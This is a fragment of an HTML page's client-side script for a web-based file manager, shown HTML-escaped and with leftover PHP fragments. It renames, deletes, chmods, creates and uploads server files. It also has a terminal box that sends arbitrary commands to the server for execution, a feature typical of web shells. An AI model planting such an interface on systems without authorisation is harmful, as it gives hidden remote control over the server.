shown&quot;);});$(&#039;#saveRename&#039;).on(&#039;click&#039;, function(e) {    e.preventDefault();    console.log(&quot;Save rename clicked&quot;);        var oldName = $(&#039;#oldFileName&#039;).val();    var newName = $(&#039;#renameNewFileName&#039;).val();    var isDir = $(&#039;#renameModal&#039;).data(&#039;is-dir&#039;);        console.log(&quot;Old name:&quot;, oldName);    console.log(&quot;New name:&quot;, newName);    console.log(&quot;Is Directory:&quot;, isDir);        $.ajax({        url: &#039;&#039;,        method: &#039;POST&#039;,        data: {            action: &#039;rename&#039;,            oldName: oldName,            newName: newName,            is_dir: isDir ? 1 : 0        },        dataType: &#039;json&#039;,        success: function(response) {            console.log(&quot;Rename response received:&quot;, response);            if (response.success) {                alert(response.message);                $(&#039;#renameModal&#039;).modal(&#039;hide&#039;);                location.reload();            } else {                alert(&quot;Error: &quot; + response.message);            }        },        error: function(xhr, status, error) {            console.error(&quot;Rename request failed:&quot;, status, error);            console.log(&quot;Response text:&quot;, xhr.responseText);            alert(&quot;Error: &quot; + error + &quot;. Check console for details.&quot;);        }    });});    $(&#039;.delete-btn&#039;).click(function() {    var file = $(this).data(&#039;file&#039;);    var isDir = $(this).data(&#039;is-dir&#039;) == 1;    var $button = $(this);    function performDelete(confirmed = false) {        $.ajax({            url: &#039;&#039;,            method: &#039;POST&#039;,            data: {                action: &#039;delete&#039;,                file: file,                is_dir: isDir ? 1 : 0,                confirmed: confirmed ? 1 : 0            },            dataType: &#039;json&#039;,            success: function(data) {                if (data.success) {                    alert(data.message);                    location.reload();                } else if (data.needConfirmation) {                    if (confirm(data.message + &#039; Are you sure you want to delete this folder and all its contents?&#039;)) {                        performDelete(true);                    }                } else {                    alert(&quot;Error: &quot; + data.message);                }            },            error: function(jqXHR, textStatus, errorThrown) {                console.error(&quot;AJAX error: &quot; + textStatus + &#039; : &#039; + errorThrown);                alert(&quot;An error occurred while deleting. Please check the console for more details.&quot;);            }        });    }    var message = isDir ? &#039;Are you sure you want to delete this folder?&#039; : &#039;Are you sure you want to delete this file?&#039;;    if (confirm(message)) {        performDelete();    }});        // Chmod button click handler        $(document).on(&#039;click&#039;, &#039;.chmod-btn&#039;, function() {            var file = $(this).data(&#039;file&#039;);            var isDir = $(this).data(&#039;is-dir&#039;) === 1;            $(&#039;#chmodModal .modal-title&#039;).text(&#039;Change permissions for &#039; + (isDir ? &#039;folder&#039; : &#039;file&#039;) + &#039;: &#039; + decodeURIComponent(file.split(&#039;/&#039;).pop()));            $(&#039;#chmodFileName&#039;).val(file);            $(&#039;#chmodIsDir&#039;).val(isDir ? 1 : 0);            $(&#039;#chmodModal&#039;).modal(&#039;show&#039;);        });        // Save chmod        $(&#039;#saveChmod&#039;).click(function() {            var file = $(&#039;#chmodFileName&#039;).val();            var permissions = $(&#039;#permissions&#039;).val();            var isDir = $(&#039;#chmodIsDir&#039;).val() === &#039;1&#039;;            $.post(&#039;&#039;, {action: &#039;chmod&#039;, file: file, permissions: permissions, is_dir: isDir ? 1 : 0}, function(response) {                var data = JSON.parse(response);                alert(data.message || data.error);                $(&#039;#chmodModal&#039;).modal(&#039;hide&#039;);            });        });        // Theme switch        const toggleSwitch = document.querySelector(&#039;.theme-switch input[type=&quot;checkbox&quot;]&#039;);        function switchTheme(e) {            if (e.target.checked) {                document.body.classList.remove(&#039;light-mode&#039;);                localStorage.setItem(&#039;theme&#039;, &#039;dark&#039;);            } else {                document.body.classList.add(&#039;light-mode&#039;);                localStorage.setItem(&#039;theme&#039;, &#039;light&#039;);            }            }        toggleSwitch.addEventListener(&#039;change&#039;, switchTheme, false);        // Check for saved user preference, if any, on load of the website        const currentTheme = localStorage.getItem(&#039;theme&#039;);        if (currentTheme) {            if (currentTheme === &#039;light&#039;) {                document.body.classList.add(&#039;light-mode&#039;);                toggleSwitch.checked = false;            }        }    });        // ... existing code ...    // Create New Folder button click handler    $(&#039;#createFolderBtn&#039;).click(function() {        $(&#039;#newFolderModal&#039;).modal(&#039;show&#039;);    });    // Save new folder    $(&#039;#saveFolderBtn&#039;).click(function() {        var folderName = $(&#039;#newFolderName&#039;).val();        if (folderName) {            $.post(&#039;&#039;, {                action: &#039;create_folder&#039;,                folder_name: folderName,                directory: &#039; echo urlencode($directory); &#039;            }, function(response) {                var data = JSON.parse(response);                if (data.success) {                    alert(data.message);                    location.reload();                } else {                    alert(&quot;Error: &quot; + data.message);                }                $(&#039;#newFolderModal&#039;).modal(&#039;hide&#039;);            });                    } else {            alert(&quot;Please enter a folder name.&quot;);        }    });    document.addEventListener(&#039;DOMContentLoaded&#039;, function() {     var createFileModal = new bootstrap.Modal(document.getElementById(&#039;createFileModal&#039;));          document.querySelectorAll(&#039;#createFileBtn, #createFileBtnMobile&#039;).forEach(function(button) {       button.addEventListener(&#039;click&#039;, function() {         createFileModal.show();       });     });   });    // Save new file    $(&#039;#saveNewFile&#039;).click(function() {        var fileName = $(&#039;#createnewFileName&#039;).val();        var fileContent = $(&#039;#newFileContent&#039;).val();                if (fileName) {            $.ajax({                url: &#039;&#039;,                method: &#039;POST&#039;,                data: {                    action: &#039;create_file&#039;,                    file_name: fileName,                    content: fileContent,                    directory: &#039; echo urlencode($directory); &#039;                },                dataType: &#039;json&#039;,                success: function(response) {                    if (response.success) {                        alert(response.message);                        location.reload();                    } else {                        alert(&quot;Error: &quot; + response.message);                    }                    $(&#039;#createFileModal&#039;).modal(&#039;hide&#039;);                },                error: function(jqXHR, textStatus, errorThrown) {                    console.error(&quot;AJAX error: &quot; + textStatus + &#039; : &#039; + errorThrown);                    alert(&#039;An error occurred while creating the file.&#039;);                }            });        } else {            alert(&quot;Please enter a file name.&quot;);        }    });$(&#039;#uploadFilesBtn&#039;).on(&#039;click&#039;, function() {    var files = $(&#039;#filesToUpload&#039;)[0].files;    console.log(&quot;Files selected:&quot;, files.length);        if (files.length === 0) {        alert(&#039;Please select one or more files to upload.&#039;);        return;    }    var formData = new FormData();    for (var i = 0; i &lt; files.length; i++) {        formData.append(&#039;files[]&#039;, files[i]);        console.log(&quot;Appending file:&quot;, files[i].name);    }    formData.append(&#039;action&#039;, &#039;upload&#039;);    formData.append(&#039;directory&#039;, &#039; echo urlencode($directory); &#039;);    $.ajax({        url: &#039;&#039;,        type: &#039;POST&#039;,        data: formData,        processData: false,        contentType: false,        xhr: function() {            var xhr = new window.XMLHttpRequest();            xhr.upload.addEventListener(&quot;progress&quot;, function(evt) {                if (evt.lengthComputable) {                    var percentComplete = evt.loaded / evt.total * 100;                    $(&#039;.progress-bar&#039;).width(percentComplete + &#039;%&#039;).attr(&#039;aria-valuenow&#039;, percentComplete).text(percentComplete.toFixed(2) + &#039;%&#039;);                }            }, false);            return xhr;        },        beforeSend: function() {            $(&#039;#uploadProgress&#039;).show();            $(&#039;.progress-bar&#039;).width(&#039;0%&#039;).attr(&#039;aria-valuenow&#039;, 0).text(&#039;0%&#039;);        },        success: function(response) {            console.log(&quot;Raw response:&quot;, response);            try {                var jsonResponse = JSON.parse(response);                console.log(&quot;Parsed response:&quot;, jsonResponse);                if (jsonResponse.success) {                    alert(jsonResponse.message);                    $(&#039;#uploadFileModal&#039;).modal(&#039;hide&#039;);                    location.reload();                } else {                    alert(&#039;Error: &#039; + jsonResponse.message);                }            } catch (e) {                console.error(&quot;Error parsing JSON:&quot;, e);                alert(&#039;An error occurred while processing the server response.&#039;);            }        },        error: function(xhr, status, error) {            console.error(&quot;AJAX error:&quot;, status, error);            console.log(&quot;Response text:&quot;, xhr.responseText);            alert(&#039;An error occurred while uploading the files.&#039;);        },        complete: function() {            $(&#039;#uploadProgress&#039;).hide();        }    });});document.getElementById(&#039;runCommandBtn&#039;).addEventListener(&#039;click&#039;, function() {    var command = document.getElementById(&#039;terminal-input&#039;).value;    fetch(&#039;&#039;, {        method: &#039;POST&#039;,        headers: {            &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,        },        body: &#039;action=execute_command&amp;command=&#039; + encodeURIComponent(command)    })    .then(response =&gt; response.json())    .then(data =&gt; {        if (data.success) {            document.getElementById(&#039;terminal-output&#039;).innerHTML += &#039;&lt;p&gt;&gt; &#039; + command + &#039;&lt;/p&gt;&#039;;            document.getElementById(&#039;terminal-output&#039;).innerHTML += &#039;&lt;pre&gt;&#039; + data.output + &#039;&lt;/pre&gt;&#039;;        } else {            alert(&#039;Error executing command&#039;);        }    });});    &lt;/script&gt;</body></html>